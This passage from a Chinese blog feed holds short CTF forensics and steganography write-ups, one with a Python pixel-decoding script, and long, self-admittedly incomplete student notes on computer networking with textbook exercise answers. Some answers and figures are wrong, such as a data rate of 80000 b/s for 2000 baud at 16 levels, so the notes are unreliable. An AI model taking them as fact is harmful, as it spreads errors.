实际上从data里拼出完整图片应该也是可行的,大佬直接看出来了。。。 # Forensic ## Keyshooter 视频里mahchudqotlzeeb 再用openssl解密就行 ## ## Krevedka wireshark过滤 ```http contains"User-Agent: UCWEB/2.0 (Linux; U; Opera Mini/7.1.32052/30.3697;www1.smart.com.ph/; GT-S5360) U2/1.0.0 UCBrowser/9.8.0.534 Mobile" ``` # rebyC## Hellish Reverse![图片](https://uploader.shimo.im/f/RVB469GpCafs3tUx.png!thumbnail) 7z就可了。。。</code></pre>]]></content>
<summary type="html"><h1 id="这是👉Lun4R-CyBRICSCTF-wp👈的摘要"><a href="#这是👉Lun4R-CyBRICSCTF-wp👈的摘要" class="headerlink" title="这是👉Lun4R-CyBRICSCTF wp👈的摘要"></a><a href="../../../../2020/07/26/cnblog_13381598/">这是👉Lun4R-CyBRICSCTF wp👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>Lun4R-dasctf MISC1 welcome</title>
<link href="http://sharun.xyz/2020/07/25/cnblog_13378245/"/>
<id>http://sharun.xyz/2020/07/25/cnblog_13378245/</id>
<published>2020-07-25T05:05:00.000Z</published>
<updated>2020-11-09T11:26:55.051Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉Lun4R-dasctf-MISC1-welcome👈的摘要"><a href="#这是👉Lun4R-dasctf-MISC1-welcome👈的摘要" class="headerlink" title="这是👉Lun4R-dasctf MISC1 welcome👈的摘要"></a><a href="../../../../2020/07/25/cnblog_13378245/">这是👉Lun4R-dasctf MISC1 welcome👈的摘要</a></h1><a id="more"></a><h1 id="MISC-welcome-plain-from-PIL-import-Image-import-binascii-def"><a href="#MISC-welcome-plain-from-PIL-import-Image-import-binascii-def" class="headerlink" title="MISC #### welcome ```plain from PIL import Image import binascii def"></a><strong>MISC</strong> #### welcome ```plain from PIL import Image import binascii def</h1><p>bin2str(string_num): return chr(int(string_num, 2))<br>im=Image.open(“red_blue.png”) W=1024 H=780 pic = Image.new(“RGBA”,(W,H)) i=0<br>s=”” for y in range(0,H): for x in range(0,W): rgba = im.getpixel((x, y))<br>#print((rgba[0])) if(rgba[0]==255): s=s+”1” elif(rgba[0]==0): s=s+”0”<br>file=open(“1”,”w”) file.write(s) h=bin2str(s) file=open(“2.png”,”w”)<br>file.write(h) ``` 通过脚本得到解压密码 hint图片末尾有字符,提示经过编码几次 得到 base85 图片有<br><img src="https://uploader.shimo.im/f/eX66te6ntU3twbeV.png!thumbnail" alt="图片"> jphide得不到密码<br>结束后,经大佬提示,发现有ntfs数据流隐写。<br><img src="https://uploader.shimo.im/f/RI15SalkpqTuX06S.png!thumbnail" alt="图片"><br><img src="https://uploader.shimo.im/f/U2LR7XiqymL6d7LS.png!thumbnail" alt="图片"> 得到flag</p>]]></content>
<summary type="html"><h1 id="这是👉Lun4R-dasctf-MISC1-welcome👈的摘要"><a href="#这是👉Lun4R-dasctf-MISC1-welcome👈的摘要" class="headerlink" title="这是👉Lun4R-dasctf MISC1 welcome👈的摘要"></a><a href="../../../../2020/07/25/cnblog_13378245/">这是👉Lun4R-dasctf MISC1 welcome👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>计网小笔记</title>
<link href="http://sharun.xyz/2020/07/24/cnblog_13374692/"/>
<id>http://sharun.xyz/2020/07/24/cnblog_13374692/</id>
<published>2020-07-24T05:36:00.000Z</published>
<updated>2020-11-09T11:26:55.064Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉计网小笔记👈的摘要"><a href="#这是👉计网小笔记👈的摘要" class="headerlink" title="这是👉计网小笔记👈的摘要"></a><a href="../../../../2020/07/24/cnblog_13374692/">这是👉计网小笔记👈的摘要</a></h1><a id="more"></a><p>这个笔记怎么说呢,有部分未完成,不完全。。大家随便看看就行。 脑图,这个确实是我用心画的。。求点赞。。<br><a href="https://shimo.im/mindmaps/HVh8Rr8P9H9Qkwjg/">https://shimo.im/mindmaps/HVh8Rr8P9H9Qkwjg/</a> <code>plain 黄老师保我计网不挂科 黄老师保我计网不挂科 黄老师保我计网不挂科 浓厚师生情 浓厚师生情 浓厚师生情 </code> # 第一章 绪论 ##<br><img src="https://uploader.shimo.im/f/WwDlLRie6hrHjnVk.jpg!thumbnail" alt="图片"> ##<br>计算机网络在信息时代的作用 ## 互联网概述 ### 网络的网络 计算机网络由若干节点和链接这些节点的链路组成 ### 互联网基础结构发展的三个阶段 *<br>单个网络ARPANET向互联网发展的过程 * 建成了三级结构的互联网 * 逐渐形成了多层ISP结构的互联网 ### 互联网的标准化工作 *<br>互联网工程部IETF * 互联网研究部IRTF * 互联网草案 * 建议标准 * 互联网标准 ## 互联网的组成 * 边缘部分 用户使用 * 服务器,客户</p><ul><li>对等连接 * 核心部分 提供服务 * 路由器 实现分组交换的关键构建 * 电路交换 在通话的全部时间内,通话的两个用户始终占用端到端的通信资源 *<br>分组交换 分组转发 ## 计算机网络在我国的发展 ## 计算机网络的类别 ### 计算机网络的定义 * 硬件 * 应用 ## 几种不通类别的计算机网络<br>1. 按照网络的作用范围 1. 广域 2. 城域 3. 局域 2. 按照使用着分类 1. 公用 2. 专用 3.<br>用来把用户接入到互联网的网络 ## 计算机网络的性能 ### 性能指标 #### 速率 #### 带宽 #### 吞吐量 #### 时延 ####<br>时延带宽积 #### 往返时间RTT #### 利用率 ## 计算机网络的非性能特征 ## 计算机网络体系结构 ### 计算机网络体系结构的构成<br>互相通信的两个计算机系统必须高度协调,而这种协调相当复杂。“分层”可将庞大而复杂的问题,转化为若干较小的局部问题,而这些较小的局部问题易于研究和处理<br>开放系统互连基本参考模型 OSI/RM ### 协议与划分层次 这些为进行网络中的数据交换而建立的规则,标准或约定成为网络协议 要素:语法 语义 同步 好处<br>灵活性好 结构上分开 易于实现和维护 能促进标准化工作 功能 差错控制 流量控制 分段和重装 复用和转发 连接建立和释放 ### 五层协议的体系结构<br><img src="https://uploader.shimo.im/f/amcishBcLD20Hubd.png!thumbnail" alt="图片"> ### 实体 协议<br>服务和服务访问点 实体 表示 任何可以发送或接受的硬件或软件进程 协议是控制两个对等实体(多个)进行通信的规则的集合<br>在协议的控制下,两个对等实体间的通信使本层能够向上一层提供服务。要实现本层协议,还需要使用下面一层所提供的服务 ### TCP/IP的体系结构 ## 课后题<br>计算机网络的性能 1.速率 2.带宽 最高数据率 3.吞吐量 实际数据量 4.时延 发送时延+传播<del>+处理</del>+排队~ 时延带宽鸡 利用率<br>空闲时时延/(1-利用率) 1.计算机网络向用户可以提供那些服务? 连通性和共享 2.请简述分组交换的要点 报文分组,加首部。经路由器储存转发,在目的地合并</li></ul><p>3.试从多个方面比较电路交换、报文交换和分组交换的主要优缺点。 电路交换:在通话的全部时间内通话的两个用户始终占用端到端的通信资源,整个报文的比特流连续<br>的从源点直达终点,线路传输效率很低。 报文交换:真个报文先传送到相邻节点,全部储存下来后查找转发表,转发到下一个节点<br>分组交换:将整个报文分为单个分组,单个分组传送到相邻节点,储存下来后查找转发表,转发到下一节点 4.为什么说因特网是自印刷术以来人类通信方面最大的变革?<br>融合其他通信网络,在信息化过程中起核心作用,提供最好的连通性和信息共享,第一次提供了各种媒体形式的实时交互能力<br>5.因特网的发展大致分为哪几个阶段?请指出这几个阶段的主要特点。 第一阶段:最初阶段,因特网是从单个网络ARPANET向互联网发展的过程。<br>第二阶段:该阶段的特点是建成了三级结构的因特网。分为主干网、地区网和校园网(企业网)。 第三阶段:这一阶段的因特网,逐渐形成了多层次ISP结构的因特网。<br>6.简述因特网标准制定的几个阶段? 因特网草案 建议标准, 开始成为RFC文档 草案标准 因特网标准<br>7.小写和大写开头的英文名字internet和Internet再意思上有何重要区别<br><strong>intternet(互联网):通用名词,泛指由多个计算机网络互联而成的网络,协议无特质</strong><br><strong>Inernet(因特网):专用名词,特质采用Tcp/Ip协议的互联网络</strong> 8.计算机网络都有哪些类别?各种类别的网络都有哪些特点? 广域网WAN<br>远程,高速,是internet的核心网 城域网MAN:城市范围,连接多个局域网 局域网LAN:校园、企业、机关、社区 个域网(pan):个人电子设备<br>9.计算机网络中的主干网和本地接入网的主要区别是什么? 主干网:提供远程覆盖、高速传输和路由器最优化通信<br>本地接入网:主要支持用户的访问本地,实现散户接入,速率低。 12因特网的两大组成部分(边缘部分与核心部分)的特点是什么?它们的工作方式各有 什么特点<br>边缘部分:由各主机构成,用户直接进行信息处理和信息共享低速连入核心网。 核心部分:由各路由器连网,负责为边缘部分提供高速远程分组交换。 13<br>客户服务器方式与对等通信方式的主要区别是什么?有没有相同的地方? 前者严格区分服务和被服务者,后者无此区别。后者实际上是前者的双向应用。<br>14计算机网络有哪些常用的性能指标? 速率,带宽,吞吐量,时延,时延带宽积,往返时间RTT,利用率 # 第二章 物理层 ## 物理层的基本概念<br>物理层考虑怎么样在各种计算机的传输媒体上传输数据比特流 * 机械特性 * 电气特性 * 功能特性 * 过程特性 ## 数据通信的基础知识 ###<br>数据通信系统的模型 源系统 原点 发送器 接受器 终点 传输系统 目的系统 * 模拟信号 * 数字信号 ### 有关通信的几个基本概念 * 常用通信模式 *<br>单向通信 (单工通信) A->b * 双向交题通信 (半双工通信)A->B B<-A * 双向同时通信 (全双工) A<->B * 常用编码模式 *<br>不归0制 * 归0制 * 曼彻斯特编码 * 差分曼彻斯特 * 基本的带通调制方法 ### 信道的极限容量 信号在信道上传输会不可避免地产生失真。 带宽受限<br>有噪音 干扰和失真 * 信道能够通过的频率范围 * 奈氏准则 * 信噪比 * 香农公式 ## 物理层下面的传输媒介 * 引导性传输媒体 * 双绞线 *<br>同轴电缆 * 光缆 * 非导引型传输媒体 * 无线电波 ### 信道复用技术 频分复用、时分复用和统计时分复用 * 复用 (共享信道) ### 波分复用</p><h3 id="码分复用-数字传输技术-宽带接入技术-ADSL技术-非对称数字用户线-光衔同轴混合网(HFC网)-FTTx技术"><a href="#码分复用-数字传输技术-宽带接入技术-ADSL技术-非对称数字用户线-光衔同轴混合网(HFC网)-FTTx技术" class="headerlink" title="码分复用 ## 数字传输技术 ## 宽带接入技术 ### ADSL技术 非对称数字用户线 ### 光衔同轴混合网(HFC网) ### FTTx技术"></a>码分复用 ## 数字传输技术 ## 宽带接入技术 ### ADSL技术 非对称数字用户线 ### 光衔同轴混合网(HFC网) ### FTTx技术</h3><h1 id="课后题-1-物理层要解决什么问题?物理层的主要特点是么?-物理层的主要任务就是确定与传输媒体的接口有关的一些特性。-物理层要解决的主要问题:"><a href="#课后题-1-物理层要解决什么问题?物理层的主要特点是么?-物理层的主要任务就是确定与传输媒体的接口有关的一些特性。-物理层要解决的主要问题:" class="headerlink" title="课后题 1.物理层要解决什么问题?物理层的主要特点是么? 物理层的主要任务就是确定与传输媒体的接口有关的一些特性。 物理层要解决的主要问题:"></a>课后题 1.物理层要解决什么问题?物理层的主要特点是么? 物理层的主要任务就是确定与传输媒体的接口有关的一些特性。 物理层要解决的主要问题:</h1><p>物理层要尽可能屏蔽掉物理设备、传输媒体和通信手段的不同,使上面的数据链路层感觉不到这些差异的存在,而专注于完成本曾的协议与服务。<br>给其服务用户(数据链路层)在一条物理的传输媒体上传送和接收比特流(一般为串行按顺序传的比特流)的能力。为此,物理层应解决物理连接的建立、维持和释放问题。<br>在两个相邻系统之间唯一地标识数据电路。 物理层的主要特点: 由于在OSI<br>之前,许多物理规程或协议已经制定出来了,而且在数据通信领域中,这些物理规程已被许多商品化的设备锁采用。加之,物理层协议涉及的范围广泛,所以至今没有按OSI<br>的抽象模型制定一套心的物理层协议,而是沿用已存在的物理规程,将物理层确定为描述与传输媒体接口的机械、电气、功能和规程特性。<br>由于物理连接的方式很多,传输媒体的种类也很多,因此,具体的物理协议相当复杂。 2规程与协议有什么区别? 在数据通信的早期, 对通信所使用的各种规则都称为<br>“规程”(procedure),后来具有体系结构的计算机网络开始使用“协议”(protocol)这一名词,以前的“规程”其实就是“协议”,但由于习惯,对以前制定好的规程有时仍常用旧的名称“规程”。<br>3.试给出数据通信系统的模型并说明其主要组成构件的作用。 三大部分:源系统(或发送端、发送方)、传输系统(或传输网络)和目的系统(或接受端、接收方)<br>源系统: 源点 产生要传输的数据 发送器 编码源点产生的数字比特流编码 接收器 接受传送系统传来的信号,并解码 重点 接受接收器的数字比特流,并输出<br>4.试解释以下名词:数据、信号、模拟数据、模拟信 号、基带信号、带通信号、数字数据、数字信号、码元、 单工通信、半双工通信、全双工通信、串行传输、并行传<br>输。 数据:是运送信息的实体。 信号:则是数据的电气的或电磁的表现。 模拟数据:运送信息的模拟信号。 模拟信号:连续变化的信号。 基带信号:来自信源的信号。<br>带通信号:经过载波调制后的信号。 数字信号:取值为有限的几个离散值的信号。 数字数据:取值为不连续数值的数据。<br>码元:在使用时间域的波形表示数字信号时代表不同离散数值的基本波形 单工通信:即只有一个方向的通信而没有反方向的交互。<br>半双工通信:即通信和双方都可以发送信息,但不能双方同时发送(当然也不能同时接收)。这种通信方式是一发送另一方接收,过一段时间再反过来。<br>全双工通信:即通信的双方可以同时发送和接收信息。<br>基带信号(即基本频带信号)——来自信源的信号。像计算机输出的代表各种文字或图像文件的数据信号都属于基带信号。<br>带通信号——把基带信号经过载波调制后,把信号的频率范围搬移到较高的频段以便在信道 中传输(即仅在一段频率范围内能够通过信道) 。<br>5物理层的接口有哪几个特性?各包含什么内容? 机械特性<br>指明接口所用接线器的形状和尺寸,引脚数目和排列,固定和锁定装置,等。平时常见的各种规格的接插件都有严格的标准化的规定 电气特性<br>指明在接口电缆的各条线上出现的电压的范围 功能特性 指明某条线上出现的某一电平的电压的意义 过程特性 指明对于不同功能的各种可能事件的出现顺序<br>6数据在信道中的传输速率受哪些因素的限制?信噪比能否任意提高?香农公式在数据通信中的意义是什么? “比特/秒”和“码元/秒”有何区别?<br>信道能通过的频率范围和信噪比 由于噪声会使接收端对码元的判决产生错误(1 判决为0<br>或0判决为1)。所以信噪比要限制在一定范围内。由香农公式可知,信息传输速率由上限。信噪比越大,量化性能越好;均匀量化的输出信噪比随量化电平数的增加而提高;非均匀量化的信号量噪比,例如PCM<br>随编码位数N 指数规律增长,DPCM 与频率有关等。但实际信噪比不能任意提高,都有一定限制。例如增加电平数会导致接收机的成本提高,制作工艺复杂等。<br>香农公式的意义在于:只要信息传输速率低于信 道的极限信息传输速率,就一定可以找到某种方法来实现无差错的传输。 比特/秒是指信息传输速率,每秒钟传送的信息量;<br>码元/秒是码元传输速率,每秒钟传送的码元个数。 两者在二进制时相等。在多进制时,信息传输速率要乘以log 以2 为底的进制数等于码元传输速率 7<br>假定某信道受奈氏准则限制的最高码元速率为2000 码元/秒。如果采用振幅调制,把码元的振幅划分为16 个不同等级来传送,那么可以获得多高的数据率(b/s)?<br>80000 b/s 8 假定要用3kHz 贷款的电话信道传送64kb/s<br>的数据(无差错传输),试问这个信道应该具有多高的信噪比(分别用比值和分贝来表示),这个结果说明什么问题? S/N=64.2dB 是个信噪比很高的信道<br>9用香农公式计算一下:假定信道带宽为3100Hz,最大信息传输速率为35kb/s,那么若想使最大信息传输速率增加60%。问信噪比S/N<br>应增大到多少倍?如果在刚才计算出的基础上将信噪比S/N 再增大到10 倍,问最大信息传输速率能否再增加20%?<br>奈氏准则:每赫带宽的理想低通信道是最高码元传输速率是每秒2 个码元。 香农公式表明了信道的带宽或信道中的信噪比越大,则信息的极限传输速率就越高。<br>根据香农公式,计算信道的极限信息传输速率C 为:C=log2(1+S/N)b/s;根据公式,可以计算出,信噪比S/N应增大到100<br>倍。如果在此基础上将信噪比S/N 再增大10 倍,最大信息速率只能再增加18.5%左右。 10 常用的传输媒体有哪几种?各有何特点? 双绞线<br>双绞线分屏蔽双绞线和无屏蔽双绞线。由两根相互绝缘的导线组成。可以传输模拟信号,可以传输数字信号,有效带宽达250kHz,通常距离一般为几道十几公里。导线越粗其通信距离越远在数字传输时,若传输速率为每秒几兆比特,则传输距离可达几公里。一般用作电话线传输声音信号。虽然双绞线容易受到外部高频电磁波的干扰,误码率高,但因为其价格便宜,且安装方便,既适于点到点连接,又可用于多点连接,故仍被广泛应用。<br>同轴电缆<br>同轴电缆分基带同轴电缆和宽带同轴电缆,其结构是在一个包有绝缘的实心导线外,再套上一层外面也有一层绝缘的空心圆形导线。由于其高带宽(高达300~400Hz)、低误码率、性能价格比高,所以用作LAN<br>中。同轴电缆的最大传输距离随电缆型号和传输信号的不同而不同,由于易受低频干扰,在使用时多将信号调制在高频载波上。 光导纤维<br>光导纤维以光纤维载体,利用光的全反向原理传播光信号。其优点是直径小、质量轻:传播频带款通信容量大:抗雷电和电磁干扰性能好,五串音干扰、保密性好、误码率低。但光电接口的价格较昂贵。光纤被广泛用于电信系统铺设主干线。<br>无线电微波通信<br>无线电微波通信分为地面微波接力通信和卫星通信。其主优点是频率高、频带范围宽、通信信道的容量大;信号所受工业干扰较小、传播质量高、通信比较稳定;不受地理环境的影响,建设投资少、见效快。缺点是地面微波接力通信在空间是直线传播,传输距离受到限制,一般只有50km,隐蔽性和保密性较差;卫星通信虽然通信距离远且通信费用与通信距离无关,但传播时延较大,技术较复杂,价格较贵。<br>13 为什么要使用信道复用技术?常用的信道复用技术有哪些?<br>信道复用的目的是让不同的计算机连接到相同的信道上,以共享信道资源。在一条传输介质上传输多个信号,提线路的利用率,降低网络的成本。这种共享技术就是多路复技术。<br>频分复用 时分复用 统计时分复用 波分复用 码分复用 14 试写出下列英文缩写的全文,并进行简单的解释。<br>FDM,TDM,STDM,WDM,DWDM,CDMA,SONET,SDH,STM-1,OC-48 FDM(frequency division<br>multiplexing)频分复用 TDM(Time Division Multiplexing)时分复用 STDM(Statistic Time<br>Division Multiplexing)统计时分复用, WDM(Wave Division Multiplexing)波分复用, DWDM(Dense<br>Wave Division Multiplexing)密集波分复用, CDMA(Code Wave Division Multiplexing)码分多址<br>SONET(Synchronous Optical Network)同步光纤网, SDH(Synchronous Digital<br>Hierarchy)同步数字系列 STM-1(Synchronous Transfer Module)第1 级同步传递模块 <strong>OC-48</strong><br>(Optical Carrier)第48级光载波,是SONET体系中的速率表示,对应于SDH的STM-16速率,常用近似值2.5Gb/s # 第三章<br>数据链路层 ## 点对点信道 ### 数据链路和帧 ### 三个基本问题 封装成帧 透明传输 差错校验 #### 广播信道 ## 点对点协议PPP<br>ppp协议是用户和ISP通信所使用的数据链路层协议 * 需求 * 组成 ### 帧格式 * 字段意义 * 字节填充 *<br>当PPP异步传输时,把转义符定义威0x7d,并使用字节填充 * 把信息字段中每个0x7E字节转变成为2字节序列(0x7D,0X5E) *<br>若信息字段中出现一个0X7D的字节,则把0x7D转变成为2字节序列(0x7D,0x5D) *<br>出现小于0x20的字符,在字符钱加入0x7d字节,同时该字符的编码加以改变。 * 零比特填充 *<br>在发送端,扫描信息字段,只要发现5个连续1,填入一个0,这样就不会出现6个连续1.接收端在收到一个帧事,找到标志字段F以确定一个帧的边界,再把添加0删掉</p><h3 id="PPP协议工作状态-使用广播信道的数据链路层-局域网的数据链路层-局域网广播信道-以太网的两个标准-适配器的作用"><a href="#PPP协议工作状态-使用广播信道的数据链路层-局域网的数据链路层-局域网广播信道-以太网的两个标准-适配器的作用" class="headerlink" title="PPP协议工作状态 ## 使用广播信道的数据链路层 ### 局域网的数据链路层 局域网广播信道 * 以太网的两个标准 * 适配器的作用 *"></a>PPP协议工作状态 ## 使用广播信道的数据链路层 ### 局域网的数据链路层 局域网广播信道 * 以太网的两个标准 * 适配器的作用 *</h3><p>帧通过网卡发出 ### CSMA/CD协议 * 要点 * 多点接入 * 载波监听 * 碰撞检测(边发边监听) ### 使用集线器的星形拓扑 ###<br>以太网的信道利用率 a = 单程端到端时延 <strong>/</strong> 帧的发送时间 利用率 = 真的发送时间/(单程端到端时延+帧的发送时间)= 1/1+a ###<br>以太网的MAC层 1. MAC层的硬件地址 1. MAC地址称为硬件地址或物理地址 实际上就是适配器地址或适配器标识符。 2. MAC帧的格式 1.<br>DIX Ethernet V2 2. IEEE 802.3 ## 扩展的以太网 ### 在物理层扩展以太网 连个光纤 ### 在数据链路层扩展以太网 *<br>以太网交换机的特点 * 以太网交换机的自学习功能 * 记录路由表 * 从总线以太网到星形以太网 ### 虚拟局域网 * 划VLAN ## 高速以太网 ##<br>课后题 1.数据链路(即逻辑链路)与链路(即物理链路)有何区别?“电路接通了”与“数据链路接通了”的区别何在?<br>数据链路与链路的区别在于数据链路除链路外,还必须有一些必要的规程来控制数据的传输。因此,数据链路比链路多了实现通信规程所需要的硬件和软件。<br>2.数据链路层的链路控制包括哪些功能?讨论数据链路层做成可靠的链路层有哪些优缺点?<br>数据链路层的主要功能是在物理层提供的比特服务基础上,在相邻结点之间提供简单的通信链路,传输以帧为单位的数据,同时它还负责数据链路的流量控制、差错控制。具体地:链路管理;帧同步;流量控制;差错控制;将数据和控制信息分开;透明传输;寻址等。<br>3。网络适配器的作用是什么?网络适配器工作在哪一层? 它使得用户可以通过电缆或无线相互连接。工作在数据链路层<br>4.数据链路层的三个基本问题为什么都必须加以解决??? 都和数据的传输密切相关,不解决无法传输 5.如果在数据链路层不进行封装成帧,会发生什么问题?<br>封装目的ip、源ip、类型、数据报、FCS,不知道帧发送去哪,接收时无法分辨帧的尾部,无法校验帧的正确性。<br>6.ppp协议的主要特点是什么?为什么ppp不适用帧的编号?ppp适用于什么情况,为什么ppp不能使数据链路层实现可靠传输?<br>ppp只提供了检错功能,当出现帧错误时,只是将其丢弃 PPP帧没有使用序号,接收端不能通过序号确认帧的顺序和是否完全到达。<br>7.要发送的数据为1101011011。采用CRC的生成多项式是P(X)=X4+X+1。试求应添加在数据后面的余数。数据在传输过程中最后一个1变成了0,问接收端能否发现?若数据在传输过程中最后两个1都变成了0,问接收端能否发现?采用CRC检验后,数据链路层的传输是否就变成了可靠的传输?<br>不可靠传输 8要发送的数据为101110。采用CRC的生成多项式是P(X)=X3+1。试求应添加在数据后面的余数。 101110除1001 = 011<br>9.一个PPP帧的数据部分(用十六进制写出)是7D 5E FE 27 7D 5D 7D 5D 65 7D 5E试问真正的数据是什么(用十六进制写出)?<br>(这个不会) 10<br>PPP协议使用同步传输技术传送比特串0110111111111100。试问经过零比特填充后变成怎样的比特串?若接收端收到的PPP帧的数据部分是0001110111110111110110,问删除发送端加入的零比特后变成怎样的比特串?<br>(这个也不会) 11 试分别讨论一下各种情况在什么条件下是透明传输,在什么条件下不是透明传输。(提示:请弄清么是“透明传输”,然后考虑能否满足其条件。)<br>普通的电话通信 互联网提供的电子邮件服务。 12<br>PPP协议的工作状态有哪几种?当用户要使用PPP协议和ISP建立连接进行通信需要建立哪几种连接?每一种连接解决什么问题?<br>链路静止,链路建立,鉴别,网络层协议,链路打开,链路终止 建立和鉴别两种连接 链路静止:链路没有被使用,物理层无活动载体,链路处于静默状态。<br>链路建立:当其中一端要进行通信时,将进入建立连接段,建立链路层的 LCP 连接;双方进行协商。如果协商成功,系统将进入认证阶段或直接进入联网阶段。<br>鉴别:双方发送一些包进行认证。如果认证通过则进入联网阶段,否则终止连接。<br>网络层协议:协商网络层协议。PPP规定双方在进行网络层数据交换之前要达成一致,因为PPP支持网络层运行多个协议,接收方需要知道用哪个协议来接收数据。<br>链路打开:开始交换用户数据和控制包。链路一直保持连接直到其中一方希望终止为止。 链路终止:通信双方交换一些分组以消除和终止连接。 13<br>局域网的主要特点是什么?为什么局域网采用广播通信方式而广域网不采用呢? 局域网是指在较小的地理范围内,将有限的通信设备互联起来的计算机通信网络<br>覆盖的地理范围较小,一般为10m~10km(如一幢办公楼,一个企业内等),通常为一个单位所拥有。<br>具有较高的数据传输率(通常为1~20Mbps,高速局域网可达100Mbps)。 具有较低的误码率,一般在10-8到10-11之间。 具有较低的时延。<br>通常多个站共享一个传输媒体(同轴电缆,双绞线,光纤)。 在局域网中各站通常进行一对多访问,随机使用信道,共享通信媒体,采用广播通信<br>方式是最合适的,且LAN中站点较少,带宽相对较大,也适宜于使用广播方式通信。 在广域网中用户数较多,若采取广播通信,会造成混乱,校率低。<br>14常用的局域网的网络拓扑有哪些种类?现在最流行的是哪种结构?为什么早期的以 太网选择总线拓扑结构而不是星形拓扑结构,但现在却改为使用星形拓扑结构?<br>星形网,总线网,环形网,树形网 当时星形拓扑结构较贵,人们都认为总线结构更加可靠,但是实践证明总线结构容易出问题。<br>15.什么叫做传统以太网?以太网有哪两个主要标准? DIX Ethernet V2 标准的局域网 DIX Ethernet V2 标准与 IEEE<br>的802.3 标准 16.数据率为10Mb/s的以太网在物理媒体上的码元传输速率是多少码元/秒? 20<br>17.为什么LLC子层的标准已制定出来了但现在却很少使用? 由于 TCP/IP 体系经常使用的局域网是 DIX Ethernet V2 而不是 802.3<br>标准中的几种局域网,因此现在 802 委员会制定的逻辑链路控制子层 LLC(即 802.2<br>标准)的作用已经不大了,且多生产商生产的适配器上也仅装有MAC协议而没有LLC 18。试说明10BASE-T中的“10”、“BASE”和“T”所代表的意思。<br>10代表信号在电缆上的传输速率位10Mps,“base”比表示电缆上的信号是基带信号。“T”代表双绞线星星网 19<br>以太网使用的CSMA/CD协议是以争用方式接入到共享信道。这与传统的时分复用TDM相比优缺点如何?<br>传统的时分复用TDM是静态时隙分配,均匀高负荷时信道利用率高,低负荷或符合不均匀时资源浪费较大,CSMA/CD采用发送前先监听信道,当信道空闲时再分配资源的方式进行工作,低负荷时信道利用率高,但控制复杂,高负荷时信道冲突大。</p><h1 id="第四章-网络层"><a href="#第四章-网络层" class="headerlink" title="第四章 网络层 "></a>第四章 网络层 <img src="https://uploader.shimo.im/f/0xYyQrObH6XPJQez.png!thumbnail" alt="图片"></h1><p>网络层提供的两种服务 * 虚电路 * 数据包 ## 网络协议IP ### 虚拟互联网络 * 中间设备 * 物理层 转发器 * 数据链路层 网桥 or 桥接器</p><ul><li>网络层 路由器 * 网络层以上 网关 ### 分类的IP地址 * IP地址及其表示方法 * 分类的IP地址 * ABCDE * 子网的划分 * 构成超网<h3 id="IP地址与硬件地址-物理地址是数据链路层和物理层使用的地址,而IP地址是网络层和以上各层使用的地址,是一种逻辑地址。"><a href="#IP地址与硬件地址-物理地址是数据链路层和物理层使用的地址,而IP地址是网络层和以上各层使用的地址,是一种逻辑地址。" class="headerlink" title="IP地址与硬件地址 物理地址是数据链路层和物理层使用的地址,而IP地址是网络层和以上各层使用的地址,是一种逻辑地址。"></a>IP地址与硬件地址 物理地址是数据链路层和物理层使用的地址,而IP地址是网络层和以上各层使用的地址,是一种逻辑地址。</h3>在IP层抽象的互联网上只能看到IP数据报 路由器只根据目的站的IP网络地址进行路由选择 在局域网的链路层,只能看见MAC帧 ### 地址解析协议ARP<br>ARP广播 ### IP数据报的格式<br><img src="https://uploader.shimo.im/f/x3Lpv3X0runvkii6.png!thumbnail" alt="图片"> ###<br>IP层转发分组的流程 ## 划分子网和构造超网 ### 划分子网 * 从两级IP地址到三级IP地址 * IP地址空间利用率有时很低 *<br>路由表过大损害网络性能 * 两级IP地址不够灵活 * <网络号><子网号><主机号> * 子网掩码 ### 使用子网时分组的转发 * 路由表包含的三项内容<br>目的网络地址,子网掩码,下一跳地址 ### 无分类编址CIDR(构造超网) * 网络前缀 ## 网际控制报文协议ICMP ### ICMP报文的种类 *<br>ICMP差错报告报文 * ICMP询问报文 ### ICMP的应用举例 ## 互联网的路由选择协议 ### 有关路由选择协议的几个基本概念 1.<br>立项的路由算法 1. 完整正确 2. 计算简单 3. 适应通信量和网络拓扑的变化 4. 稳定 5. 公平 6. 最佳 2.<br>分层次的路由选择协议 ### 内部网关协议RIP 1. 工作原理 1. 基于距离向量的路由选择协议 2. 距离向量算法 3. RIP协议的报文格式<h3 id="内部网关协议OSPF-1-基本特点-1-层次结构的区域划分-外部网关协议BGP-路由器的构成-IPV6-IP多播"><a href="#内部网关协议OSPF-1-基本特点-1-层次结构的区域划分-外部网关协议BGP-路由器的构成-IPV6-IP多播" class="headerlink" title="内部网关协议OSPF 1. 基本特点 1. 层次结构的区域划分 ### 外部网关协议BGP ### 路由器的构成 ## IPV6 ## IP多播"></a>内部网关协议OSPF 1. 基本特点 1. 层次结构的区域划分 ### 外部网关协议BGP ### 路由器的构成 ## IPV6 ## IP多播</h3><h3 id="虚拟专用网VPN和网络地址转换NAT-第五章-运输层-运输层协议概述-进程之间的通信-运输层像它上面的应用层提供通信服务"><a href="#虚拟专用网VPN和网络地址转换NAT-第五章-运输层-运输层协议概述-进程之间的通信-运输层像它上面的应用层提供通信服务" class="headerlink" title="虚拟专用网VPN和网络地址转换NAT # 第五章 运输层 ## 运输层协议概述 ### 进程之间的通信 运输层像它上面的应用层提供通信服务"></a>虚拟专用网VPN和网络地址转换NAT # 第五章 运输层 ## 运输层协议概述 ### 进程之间的通信 运输层像它上面的应用层提供通信服务</h3>复用和分用 不通的应用进程得到不同的数据 网络层为主机之间提供逻辑通信,运输层为应用进程之间提供端到端的逻辑通信 ### 运输层的两个主要协议<br>用户数据报协议UDP 不需要先建立连接 传输控制协议TCP 提供面向链接的服务 ### 运输层的端口 ## 用户数据报协议UDP ### 概述 1.<br>UDP是无连接的 2. 尽最大努力缴费 3. 面向报文 一次交付一个完整的报文 4. 没有拥塞控制 5.<br>支持一对一,一对多,多对一,多对多的交互通信 6. 首部开销 ### 首部格式 1. 源端口 2. 目的端口 3. 长度 